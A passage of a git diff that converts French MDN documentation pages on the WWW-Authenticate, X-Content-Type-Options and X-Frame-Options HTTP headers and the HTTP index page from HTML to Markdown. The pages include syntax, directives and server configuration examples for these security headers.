<code>WWW-Authenticate</code> est envoyée en même temps qu'une réponse {{HTTPStatus("401")}} <code>Unauthorized</code>.</p> +L'entête `WWW-Authenticate` est envoyée en même temps qu'une réponse {{HTTPStatus("401")}} `Unauthorized`. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type de l'entête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type de l'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> -</pre> + WWW-Authenticate: <type> realm=<realm> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><type></dt> - <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Type d'authentification</a>. Un type commun est <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. IANA maintient une <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">liste des schémas d'authentification</a>.</dd> - <dt>realm=<realm></dt> - <dd>Une description de la zone protégée. Si aucun domaine n'est spécifié, les clients affichent souvent un nom de domaine formaté à la place.</dd> - <dt>charset=<charset></dt> - <dd>Indique au client le schéma d'encodage préféré du serveur lorsqu'on soumet un nom d'utilisateur et un mot de passe. La seule valeur acceptée est la chaine insensible à la casse "UTF-8". Cela ne s'applique pas à l'encodage de la chaine du domaine.</dd> -</dl> +- \<type> + - : [Type d'authentification](/en-US/docs/Web/HTTP/Authentication#Authentication_schemes). Un type commun est ["Basic"](/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme). IANA maintient une [liste des schémas d'authentification](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml). +- realm=\<realm> + - : Une description de la zone protégée. Si aucun domaine n'est spécifié, les clients affichent souvent un nom de domaine formaté à la place. +- charset=\<charset> + - : Indique au client le schéma d'encodage préféré du serveur lorsqu'on soumet un nom d'utilisateur et un mot de passe. La seule valeur acceptée est la chaine insensible à la casse "UTF-8". Cela ne s'applique pas à l'encodage de la chaine du domaine. -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>La réponse d'un serveur contient généralement l'entête <code>WWW-Authenticate</code> qui ressemble à ça :</p> +La réponse d'un serveur contient généralement l'entête `WWW-Authenticate` qui ressemble à ça : -<pre>WWW-Authenticate: Basic + WWW-Authenticate: Basic -WWW-Authenticate: Basic realm="Accès au site de staging", charset="UTF-8" -</pre> + WWW-Authenticate: Basic realm="Accès au site de staging", charset="UTF-8" -<p>Voir aussi <a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a> pour des exemples sur la configuration des serveurs Apache ou nginx pour protéger protéger votre site par mot de passe en utilisant l'authentification HTTP basic.</p> +Voir aussi [HTTP authentication](/en-US/docs/Web/HTTP/Authentication) pour des exemples sur la configuration des serveurs Apache ou nginx pour protéger protéger votre site par mot de passe en utilisant l'authentification HTTP basic. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td> - <td>HTTP/1.1: Authentication</td> - </tr> - <tr> - <td>{{RFC("7617")}}</td> - <td>The 'Basic' HTTP Authentication Scheme</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | -------------------------------------- | +| {{RFC("7235", "WWW-Authenticate", "4.1")}} | HTTP/1.1: Authentication | +| {{RFC("7617")}} | The 'Basic' HTTP Authentication Scheme | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> - <li>{{HTTPHeader("Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> -</ul> +- [HTTP authentication](/en-US/docs/Web/HTTP/Authentication) +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/fr/web/http/headers/x-content-type-options/index.md b/files/fr/web/http/headers/x-content-type-options/index.md index cadeb86472..a40640e8f4 100644 --- a/files/fr/web/http/headers/x-content-type-options/index.md +++ b/files/fr/web/http/headers/x-content-type-options/index.md @@ -8,83 +8,64 @@ tags: - Réponse translation_of: Web/HTTP/Headers/X-Content-Type-Options --- -<p>L'entête <code><strong>X-Content-Type-Options</strong></code> est un marqueur utilisé par le serveur pour indiquer que les <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a> annoncés dans les en-têtes {{HTTPHeader("Content-Type")}} ne doivent pas être modifiés ou et suivis. Cela permet de se détacher du sniffing de type <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME</a>, ou, en d'autres termes, c'est une façon de dire que les webmasters savaient ce qu'ils faisaient.</p> +L'entête **`X-Content-Type-Options`** est un marqueur utilisé par le serveur pour indiquer que les [types MIME](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types) annoncés dans les en-têtes {{HTTPHeader("Content-Type")}} ne doivent pas être modifiés ou et suivis. Cela permet de se détacher du sniffing de type [MIME](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing), ou, en d'autres termes, c'est une façon de dire que les webmasters savaient ce qu'ils faisaient. -<p>Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les webmasters de bloquer le reniflement de contenu qui se passait et pouvait transformer les types MIME non exécutables en types MIME exécutables. Depuis, d'autres navigateurs l'ont introduit, même si leurs algorithmes de reniflage MIME étaient moins agressifs.</p> +Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les webmasters de bloquer le reniflement de contenu qui se passait et pouvait transformer les types MIME non exécutables en types MIME exécutables. Depuis, d'autres navigateurs l'ont introduit, même si leurs algorithmes de reniflage MIME étaient moins agressifs. -<p>À partir de Firefox 72, la désactivation du reniflement MIME est également appliqué aux documents de premier niveau si un {{HTTPHeader("Content-type")}} est fourni. Les pages web HTML qui sont servies avec un type MIME différent de <code>text/html</code>, peuvent alors être juste téléchargées au lieu d'êtres rendues (interprétées et affichées par le navigateur). Assurez vous de valoriser correctement ces 2 en-têtes.</p> +À partir de Firefox 72, la désactivation du reniflement MIME est également appliqué aux documents de premier niveau si un {{HTTPHeader("Content-type")}} est fourni. Les pages web HTML qui sont servies avec un type MIME différent de `text/html`, peuvent alors être juste téléchargées au lieu d'êtres rendues (interprétées et affichées par le navigateur). Assurez vous de valoriser correctement ces 2 en-têtes. -<p>Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini.</p> +Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini. -<div class="note"> - <p><strong>Note :</strong> <code>X-Content-Type-Options</code> ne s'appliquent qu'au <a href="https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?">blocage des demandes par <code>nosniff</code></a> pour les <a href="https://fetch.spec.whatwg.org/#concept-request-destination">destinations de demandes</a> de "<code>script</code>" et "<code>style</code>". Il permet également le <a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb">blocage en lecture croisé (CORB)</a> pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG <code>image/svg+xml</code>).</p> -</div> +> **Note :** `X-Content-Type-Options` ne s'appliquent qu'au [blocage des demandes par `nosniff`](https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?) pour les [destinations de demandes](https://fetch.spec.whatwg.org/#concept-request-destination) de "`script`" et "`style`". Il permet également le [blocage en lecture croisé (CORB)](https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb) pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG `image/svg+xml`). <table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">X-Content-Type-Options: nosniff -</pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><code>nosniff</code></dt> - <dd><p>Bloque une requête si la destination de la requête est de type</p> - <ul> - <li>"<code>style</code>" et le MIME n'est pas de type <code>text/css</code>, ou</li> - <li>"<code>script</code>" et le MIME n'est pas de type <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME type</a></li> - </ul> - <p>Permet le blocage de la lecture croisée pour les types MIME</p> - <ul> - <li><code>text/html</code></li> - <li><code>text/plain</code></li> - <li><code>text/json</code>, <code>application/json</code> ou tout autre type avec une extension JSON: <code>*/*+json</code></li> - <li><code>text/xml</code>, <code>application/xml</code> ou tout autre type avec une extension XML: <code>*/*+xml</code> (hors <code>image/svg+xml</code>)</li> - </ul> - </dd> -</dl> - -<h2 id="Caractéristiques">Caractéristiques</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Caractéristique</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Définition initiale</td> - </tr> - </tbody> -</table> +## Syntaxe + + X-Content-Type-Options: nosniff + +## Directives + +- `nosniff` + + - : Bloque une requête si la destination de la requête est de type + + - "`style`" et le MIME n'est pas de type `text/css`, ou + - "`script`" et le MIME n'est pas de type [JavaScript MIME type](https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type) + + Permet le blocage de la lecture croisée pour les types MIME + + - `text/html` + - `text/plain` + - `text/json`, `application/json` ou tout autre type avec une extension JSON: `*/*+json` + - `text/xml`, `application/xml` ou tout autre type avec une extension XML: `*/*+xml` (hors `image/svg+xml`) + +## Caractéristiques + +| Caractéristique | Statut | Commentaire | +| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | +| {{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}} | {{Spec2("Fetch")}} | Définition initiale | -<h2 id="Browser_compatibility">Browser compatibility</h2> +## Browser compatibility -<p>{{Compat("http.headers.X-Content-Type-Options")}}</p> +{{Compat("http.headers.X-Content-Type-Options")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Type")}}</li> - <li>La <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">définition originale</a> de X-Content-Type-Options par Microsoft.</li> - <li>L'<a href="https://observatory.mozilla.org/">Outil Obserservatoire Mozilla</a> teste la configuration (y compris en-tête) des sites Web pour la sécurité et la sûreté.</li> - <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Atténuer les attaques MIME Confusion dans Firefox.</a></li> - <li><a href="https://fetch.spec.whatwg.org/#corb">Blocage de la lecture croisée (CORB)</a></li> - <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Google Docs CORB explicatif</a></li> -</ul> +- {{HTTPHeader("Content-Type")}} +- La [définition originale](https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/) de X-Content-Type-Options par Microsoft. +- L'[Outil Obserservatoire Mozilla](https://observatory.mozilla.org/) teste la configuration (y compris en-tête) des sites Web pour la sécurité et la sûreté. +- [Atténuer les attaques MIME Confusion dans Firefox.](https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/) +- [Blocage de la lecture croisée (CORB)](https://fetch.spec.whatwg.org/#corb) +- [Google Docs CORB explicatif](https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md) diff --git a/files/fr/web/http/headers/x-frame-options/index.md b/files/fr/web/http/headers/x-frame-options/index.md index b47e3918b5..7f47590b01 100644 --- a/files/fr/web/http/headers/x-frame-options/index.md +++ b/files/fr/web/http/headers/x-frame-options/index.md @@ -8,142 +8,124 @@ tags: - en-tête translation_of: Web/HTTP/Headers/X-Frame-Options --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de réponse <a href="/fr/docs/Web/HTTP">HTTP</a> <strong><code>X-Frame-Options</code></strong> peut être utilisé afin d'indiquer si un navigateur devrait être autorisé à afficher une page au sein d'un élément {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Les sites peuvent utiliser cet en-tête afin d'éviter les attaques de <em>{{interwiki("wikipedia", "clickjacking")}}</em> pour s'assurer que leur contenu ne soit pas embarqués dans d'autres sites.</p> +L'en-tête de réponse [HTTP](/fr/docs/Web/HTTP) **`X-Frame-Options`** peut être utilisé afin d'indiquer si un navigateur devrait être autorisé à afficher une page au sein d'un élément {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Les sites peuvent utiliser cet en-tête afin d'éviter les attaques de _{{interwiki("wikipedia", "clickjacking")}}_ pour s'assurer que leur contenu ne soit pas embarqués dans d'autres sites. -<p>Ce complément de sécurité est uniquement valable lorsque l'utilisateur final visite le document avec un navigateur prenant en charge <code>X-Frame-Options</code>.</p> +Ce complément de sécurité est uniquement valable lorsque l'utilisateur final visite le document avec un navigateur prenant en charge `X-Frame-Options`. -<div class="note"> -<p><strong>Note :</strong> L'en-tête {{HTTPHeader("Content-Security-Policy")}} possède une directive <code><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors">frame-ancestors</a></code> qui <a href="https://www.w3.org/TR/CSP2/#frame-ancestors-and-frame-options">supplante</a> cet en-tête pour les navigateurs compatibles.</p> -</div> +> **Note :** L'en-tête {{HTTPHeader("Content-Security-Policy")}} possède une directive [`frame-ancestors`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) qui [supplante](https://www.w3.org/TR/CSP2/#frame-ancestors-and-frame-options) cet en-tête pour les navigateurs compatibles. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>En-tête de réponse</td> - </tr> - <tr> - <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> - <td>Non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>En-tête de réponse</td> + </tr> + <tr> + <th scope="row"> + <a href="/fr/docs/Glossaire/Forbidden_header_name" + >Nom d'en-tête interdit</a + > + </th> + <td>Non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Il existe deux directives pour <code>X-Frame-Options</code> :</p> +Il existe deux directives pour `X-Frame-Options` : -<pre class="syntaxbox">X-Frame-Options: deny -X-Frame-Options: sameorigin -</pre> + X-Frame-Options: deny + X-Frame-Options: sameorigin -<h3 id="Directives">Directives</h3> +### Directives -<p>Si on utilise <code>deny</code>, le chargement de la page dans une <em>frame</em> échouera sur un site tiers mais aussi sur un site de la même origine. En revanche, si on utilise <code>sameorigin</code>, on peut toujours utiliser le document dans une <em>frame</em> si celle-ci partage la même origine.</p> +Si on utilise `deny`, le chargement de la page dans une _frame_ échouera sur un site tiers mais aussi sur un site de la même origine. En revanche, si on utilise `sameorigin`, on peut toujours utiliser le document dans une _frame_ si celle-ci partage la même origine. -<dl> - <dt><code>deny</code></dt> - <dd>La page ne peut pas être affichée dans une <em>frame</em>, quand bien même un site tiers tenterait de la charger.</dd> - <dt><code>sameorigin</code></dt> - <dd>La page ne peut être affichée que dans une <em>frame</em> avec une origine qui est la même que la page elle-même. La spécification laisse le choix au navigateur de décider si cela s'applique au niveau le plus haut, au conteneur parent ou à l'ensemble de la chaîne des <em>frames </em>potentiellement imbriquées. Il est parfois avancé que cette option n'est pas très utile à moins que l'ensemble des ancêtres partage la même origine (cf. {{bug(725490)}}). Voir aussi le tableau de compatibilité ci-après pour plus de détails sur la prise en charge de cette directive.</dd> - <dt><code>allow-from <em>uri</em></code><em> (obsolète)</em></dt> - <dd>Une directive obsolète qui ne fonctionne plus dans les navigateurs récents et qui ne doit donc plus être utilisée. Pour les navigateurs historiques, cette directive permettait d'indiquer une origine via une URI afin d'autoriser l'affichage du document dans les <em>frames</em> chargées depuis cette origine. Pour les anciennes versions de Firefox, on a le même problème qu'avec <code>sameorigin</code> : il n'y a pas de vérifications des différents ancêtres pour voir s'ils partagent la même origine. À la place, on utilisera la directive <code>frame-ancestors</code> de l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</dd> -</dl> +- `deny` + - : La page ne peut pas être affichée dans une _frame_, quand bien même un site tiers tenterait de la charger. +- `sameorigin` + - : La page ne peut être affichée que dans une _frame_ avec une origine qui est la même que la page elle-même. La spécification laisse le choix au navigateur de décider si cela s'applique au niveau le plus haut, au conteneur parent ou à l'ensemble de la chaîne des _frames_ potentiellement imbriquées. Il est parfois avancé que cette option n'est pas très utile à moins que l'ensemble des ancêtres partage la même origine (cf. {{bug(725490)}}). Voir aussi le tableau de compatibilité ci-après pour plus de détails sur la prise en charge de cette directive. +- `allow-from uri` _(obsolète)_ + - : Une directive obsolète qui ne fonctionne plus dans les navigateurs récents et qui ne doit donc plus être utilisée. Pour les navigateurs historiques, cette directive permettait d'indiquer une origine via une URI afin d'autoriser l'affichage du document dans les _frames_ chargées depuis cette origine. Pour les anciennes versions de Firefox, on a le même problème qu'avec `sameorigin` : il n'y a pas de vérifications des différents ancêtres pour voir s'ils partagent la même origine. À la place, on utilisera la directive `frame-ancestors` de l'en-tête {{HTTPHeader("Content-Security-Policy")}}. -<h2 id="Exemples">Exemples</h2> +## Exemples -<div class="note"> -<p><strong>Note :</strong> La balise <code><meta></code> est inutile ici ! <code><meta http-equiv="X-Frame-Options" content="deny"></code> n'aura aucun effet et mieux vaut donc ne pas l'utiliser.</p> -</div> +> **Note :** La balise `<meta>` est inutile ici ! `<meta http-equiv="X-Frame-Options" content="deny">` n'aura aucun effet et mieux vaut donc ne pas l'utiliser. -<h3 id="Configurer_Apache">Configurer Apache</h3> +### Configurer Apache -<p>On peut configurer Apache afin d'envoyer l'en-tête <code>X-Frame-Options</code> pour toutes les pages. Dans la configuration, on ajoutera :</p> +On peut configurer Apache afin d'envoyer l'en-tête `X-Frame-Options` pour toutes les pages. Dans la configuration, on ajoutera : -<pre>Header always set X-Frame-Options "sameorigin" -</pre> + Header always set X-Frame-Options "sameorigin" -<p>Si on veut utiliser la valeur <code>deny</code>, on pourra utiliser ceci dans la configuration :</p> +Si on veut utiliser la valeur `deny`, on pourra utiliser ceci dans la configuration : -<pre>Header set X-Frame-Options "deny" -</pre> + Header set X-Frame-Options "deny" -<h3 id="Configurer_NGINX">Configurer NGINX</h3> +### Configurer NGINX -<p>Avec NGINX, on pourra ajouter la ligne suivante à la configuration HTTP, serveur ou à la configuration de l'emplacement (<em>location</em>) :</p> +Avec NGINX, on pourra ajouter la ligne suivante à la configuration HTTP, serveur ou à la configuration de l'emplacement (_location_) : -<pre>add_header X-Frame-Options sameorigin always; -</pre> + add_header X-Frame-Options sameorigin always; -<h3 id="Configurer_IIS">Configurer IIS</h3> +### Configurer IIS -<p>Pour IIS, on complètera le fichier <code>Web.config</code> :</p> +Pour IIS, on complètera le fichier `Web.config` : -<pre class="brush: xml"><system.webServer> +```xml +<system.webServer> ... - <httpProtocol> - <customHeaders> - <add name="X-Frame-Options" value="sameorigin" /> - </customHeaders> - </httpProtocol> + <httpProtocol> + <customHeaders> + <add name="X-Frame-Options" value="sameorigin" /> + </customHeaders> + </httpProtocol> ... -</system.webServer> -</pre> +</system.webServer> +``` -<h3 id="Configurer_HAProxy">Configurer HAProxy</h3> +### Configurer HAProxy -<p>Pour HAProxy, on ajoutera la ligne suivante à la configuration du <em>front</em>, du <em>listen</em> ou du <em>backend</em> :</p> +Pour HAProxy, on ajoutera la ligne suivante à la configuration du _front_, du _listen_ ou du _backend_ : -<pre>rspadd X-Frame-Options:\ sameorigin -</pre> + rspadd X-Frame-Options:\ sameorigin -<p>Dans les versions plus récentes, voici la forme équivalente :</p> +Dans les versions plus récentes, voici la forme équivalente : -<pre>http-response set-header X-Frame-Options sameorigin -</pre> + http-response set-header X-Frame-Options sameorigin -<h3 id="Configurer_Express_Utiliser_frameguard_en_Node.js">Configurer Express / Utiliser frameguard en Node.js</h3> +### Configurer Express / Utiliser frameguard en Node.js -<p>Si on utilise Express, on pourra utiliser le module <a href="https://helmetjs.github.io/">helmet</a> qui tire parti de <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> afin de régler cet en-tête :</p> +Si on utilise Express, on pourra utiliser le module [helmet](https://helmetjs.github.io/) qui tire parti de [frameguard](https://helmetjs.github.io/docs/frameguard/) afin de régler cet en-tête : -<pre class="brush: js">const helmet = require('helmet'); +```js +const helmet = require('helmet'); const app = express(); app.use(helmet.frameguard({ action: "sameorigin" })); -</pre> +``` -<p>On pourra également utiliser <a href="https://helmetjs.github.io/docs/frameguard/">frameguard</a> directement :</p> +On pourra également utiliser [frameguard](https://helmetjs.github.io/docs/frameguard/) directement : -<pre class="brush: js">const frameguard = require('frameguard') +```js +const frameguard = require('frameguard') app.use(frameguard({ action: 'sameorigin' })) -</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7034")}}</td> - <td><em>HTTP Header Field X-Frame-Options</em></td> - </tr> - </tbody> -</table> +``` + +## Spécifications + +| Spécification | Titre | +| -------------------- | ----------------------------------- | +| {{RFC("7034")}} | _HTTP Header Field X-Frame-Options_ | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.X-Frame-Options")}}</p> +{{Compat("http.headers.X-Frame-Options")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors"><code>frame-ancestors</code></a> lié à la configuration de la stratégie CSP via {{HTTPHeader("Content-Security-Policy")}}</li> -</ul> +- [`frame-ancestors`](/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) lié à la configuration de la stratégie CSP via {{HTTPHeader("Content-Security-Policy")}} diff --git a/files/fr/web/http/index.md b/files/fr/web/http/index.md index 65d677103f..4ab12e0805 100644 --- a/files/fr/web/http/index.md +++ b/files/fr/web/http/index.md @@ -3,63 +3,55 @@ title: HTTP slug: Web/HTTP translation_of: Web/HTTP --- -<div>{{HTTPSidebar}}</div> - -<p><strong><dfn><i lang="en">Hypertext Transfer Protocol</i> (HTTP) (ou protocole de transfert hypertexte en français)</dfn></strong> est un protocole de <a href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a> servant à transmettre des documents hypermédias, comme HTML. Il a été conçu la communication entre les navigateurs web et les serveurs web mais peut également être utilisé à d'autres fins. Il suit le modèle classique <a href="https://fr.wikipedia.org/wiki/Client-serveur">client-serveur</a> : un client ouvre une connexion, effectue une requête et attend jusqu'à recevoir une réponse. Il s'agit aussi d'un <a href="https://fr.wikipedia.org/wiki/Protocole_sans_%C3%A9tat">protocole sans état</a>, ce qui signifie que le serveur ne conserve aucune donnée (on parle d'état) entre deux requêtes.</p> - -<h2 id="tutorials">Tutoriels</h2> - -<p>Apprenez comment utiliser HTTP avec des guides et des tutoriels.</p> - -<dl> - <dt><a href="/fr/docs/Web/HTTP/Overview">Aperçu du protocole HTTP</a></dt> - <dd>Les fonctionnalités de base de ce protocole client-serveur : ce qui est permis par HTTP ainsi que le cadre d'utilisation de ce protocole.</dd> - <dt><a href="/fr/docs/Web/HTTP/Caching">Mise en cache avec HTTP</a></dt> - <dd>La mise en cache est critique pour permettre aux sites web d'être rapides. Cet article décrit les différentes méthodes de mise en cache et l'utilisation des en-têtes HTTP afin de contrôler le cache.</dd> - <dt><a href="/fr/docs/Web/HTTP/Cookies">Cookies HTTP</a></dt> - <dd>Le fonctionnement des cookies est décrit dans la <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>. Lorsqu'un serveur répond à une requête HTTP, ce dernier peut envoyer un en-tête <code>Set-Cookie</code> avec la réponse. Le client retourne alors la valeur du cookie lors de chaque requête vers ce serveur via un en-tête <code>Cookie</code> dans la requête. Le cookie peut posséder une date d'expiration, être restreint à un domaine spécifique ou à un chemin d'accès donné.</dd> - <dt><a href="/fr/docs/Web/HTTP/CORS"><i lang="en">Cross-Origin Resource Sharing</i> (CORS ou partage des ressources entre différentes origines)</a></dt> - <dd><strong>Les requêtes HTTP cross-sites</strong> sont des requêtes HTTP pour des ressources situées dans un <strong>domaine différent</strong> de celui dans lequel se situe la ressource qui effectue la requête. Par exemple, une page HTML d'un domaine A (<code>http://domainea.example/</code>) effectue une requête pour une image au sein du domaine B (<code>http://domaineb.foo/image.jpg</code>) à l'aide de la balise <code>img</code>. Les pages web actuelles effectuent souvent des requêtes cross-sites pour charger des éléments comme des feuilles de style CSS, des images, des scripts ou d'autres ressources. CORS permet aux développeuses et développeurs web de contrôler la façon dont leur site doit se comporter lorsqu'il reçoit des requêtes d'une autre origine.</dd> - <dt><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Évolution du protocole HTTP</a></dt> - <dd>Une brève description des changements qui ont eu lieu entre les toutes premières versions de HTTP, HTTP/2, HTTP/3 plus récent voire au-delà.</dd> - <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Guide de sécurité Mozilla pour le Web</a></dt> - <dd>Une liste d'astuces visant à aider les équipes opérationnelles afin de créer des applications web mieux sécurisées (en anglais).</dd> - <dt><a href="/fr/docs/Web/HTTP/Messages">Les messages HTTP</a></dt> - <dd>Une description des types et structures de chaque message pour HTTP/1.x et HTTP/2.</dd> - <dt><a href="/fr/docs/Web/HTTP/Session">Une session HTTP classique</a></dt> - <dd>Un exemple et l'explication du déroulement d'une session HTTP classique.</dd> - <dt><a href="/fr/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Gestion des connexions en HTTP/1.x</a></dt> - <dd>Un aperçu des trois modèles de gestion de connexion disponibles pour HTTP/1.x ainsi que leurs forces et faiblesses respectives.</dd> -</dl> - -<h2 id="reference">Référence</h2> - -<p>Naviguez dans la documentation détaillée de HTTP.</p> - -<dl> - <dt><a href="/fr/docs/Web/HTTP/Headers">En-têtes HTTP</a></dt> - <dd>Les messages d'en-tête HTTP sont utilisés pour décrire précisément la ressource ou le comportement du client ou du serveur. Un en-tête propriétaire sur mesure peut être ajouté en utilisant le préfixe <code>X-</code> ; d'autres en-têtes sont disponibles dans le <a href="https://www.iana.org/assignments/message-headers/perm-headers.html">registre de l'IANA</a>, dont le contenu original a été défini dans la <a href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>. L'IANA maintient aussi un <a href="https://www.iana.org/assignments/message-headers/prov-headers.html">registre des nouveaux messages d'en-tête HTTP qui sont proposés</a>.</dd> - <dt><a href="/fr/docs/Web/HTTP/Methods">Méthodes de requête HTTP</a></dt> - <dd>Différentes opérations peuvent être effectuées avec HTTP : les plus connues <a href="/fr/docs/Web/HTTP/Methods/GET"><code>GET</code></a>, <a href="/fr/docs/Web/HTTP/Methods/POST"><code>POST</code></a>, mais aussi des requêtes comme <a href="/fr/docs/Web/HTTP/Methods/OPTIONS"><code>OPTIONS</code></a>, <a href="/fr/docs/Web/HTTP/Methods/DELETE"><code>DELETE</code></a> ou <a href="/fr/docs/Web/HTTP/Methods/TRACE"><code>TRACE</code></a>.</dd> - <dt><a href="/fr/docs/Web/HTTP/Response_codes">Codes de réponse HTTP</a></dt> - <dd>Les codes de réponses HTTP indiquent si une requête HTTP a été effectuée avec succès. Les réponses sont regroupées en cinq classes : les réponses informationnelles, les réponses de succès, les redirections, les erreurs client et les erreurs serveur.</dd> - <dt><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy">Directives CSP</a></dt> - <dd>Les champs de l'en-tête de réponse <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy"><code>Content-Security-Policy</code></a> permettent aux administrateurs de contrôler les ressources accessibles pour un agent utilisateur au sein d'une page donnée. De manière générale, il s'agit de directives relatives à l'origine du serveur ainsi qu'aux points de terminaison des scripts.</dd> -</dl> - -<h2 id="tools_resources">Outils et ressources</h2> - -<p>Outils utiles pour comprendre et déboguer HTTP.</p> - -<dl> - <dt><a href="/fr/docs/Tools">Les outils de développement de Firefox</a></dt> - <dd><a href="/fr/docs/Tools/Network_Monitor">Moniteur réseau</a></dd> - <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> - <dd> - <p>Un 